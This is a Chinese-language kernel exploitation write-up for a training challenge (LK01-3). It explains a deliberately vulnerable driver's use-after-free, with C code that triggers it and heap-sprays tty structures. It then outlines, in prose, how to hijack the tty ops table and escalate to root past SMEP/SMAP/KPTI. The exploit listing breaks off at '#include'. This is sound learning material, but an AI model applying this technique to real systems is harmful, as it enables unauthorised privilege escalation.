通过复用TTY结构体实现提权利用
前言
UAF是用户态中常见的漏洞，在内核中同样存在UAF漏洞，都是由于对释放后的空间处理不当，导致被释放后的堆块仍然可以使用所造成的漏洞。
LK01-3
结合题目来看UAF漏洞
项目地址：https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-3
open模块
在执行open模块时会分配0x400大小的堆空间，并将地址存储在g_buf中
#define BUFFER_SIZE 0x400
char *g_buf = NULL;
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
read模块
在读模块中，会从用户空间中读取0x400字节到g_buf执行的堆空间中
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_read called\n");
if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}
if (copy_to_user(buf, g_buf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}
return count;
}
write模块
在写模块中，会从用户空间拷贝400字节数据到内核堆空间中
static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_write called\n");
if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}
if (copy_from_user(g_buf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
return count;
}
close模块
close模块会释放g_buf指向的堆块空间
static int module_close(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_close called\n");
kfree(g_buf);
return 0;
}
漏洞分析
在读写模块中都限制了长度为0x400，这与一开始分配的堆空间大小一致，因此与LK01-2不同的是不存在堆溢出漏洞。但是在open模块中g_buf是唯一用来存储堆地址的变量，并且没有进行次数限制，那么就会导致多次调用open模块会使得存在多个指针指向同一块内存，若该内存被释放就会造成UAF漏洞。下图就是构造UAF漏洞的流程。
当把g_buf释放掉后，通过fd2文件描述符同样能够操控g_buf的空间，问题是该如何劫持程序流程，由于堆空间是通过slab分配器进行分配的，而slab还可而已进行缓存，因此g_buf被释放后会放进缓存中，而g_buf的大小为0x400这与tty结构体一致，因此此时通过堆喷确保g_buf被分配到tty结构体。构造uaf的代码如下。
...
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
close(fd1);
for (int i = 0; i < 50; i++)
{
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
{
printf("error!\n");
exit(-1);
}
}
...
这里我有一个疑惑的点，在模块中的close函数仅仅只是释放了g_buf的堆内存并没有后续操作，因此在执行close(fd1)之后，是不是还能对文件描述符fd1进行操作，后来试验之后发现不行，查询资料得到，文件描述符的移除是内核默认操作与重定义模块的close操作无关。
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在构造出UAF漏洞并进行堆喷之后，实际操作的g_buf指向的是tty的结构体，该结构体偏移0x18是一个函数表的操作指针，那么将该函数表修改为自定义的函数表即可。后续的操作与LK01-3一致，将指针操作修改为栈迁移到堆上，然后就是执行commit_creds(prepare_kernel_cred(0))，利用swapgs_restore_regs_and_return_to_usermode绕过kpti的保护。
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
-no-reboot \
-cpu qemu64,+smap,+smep \
-smp 1 \
-monitor /dev/null \
-initrd initramfs.cpio.gz \
-net nic,model=virtio \
-net user \
-s
exp
#include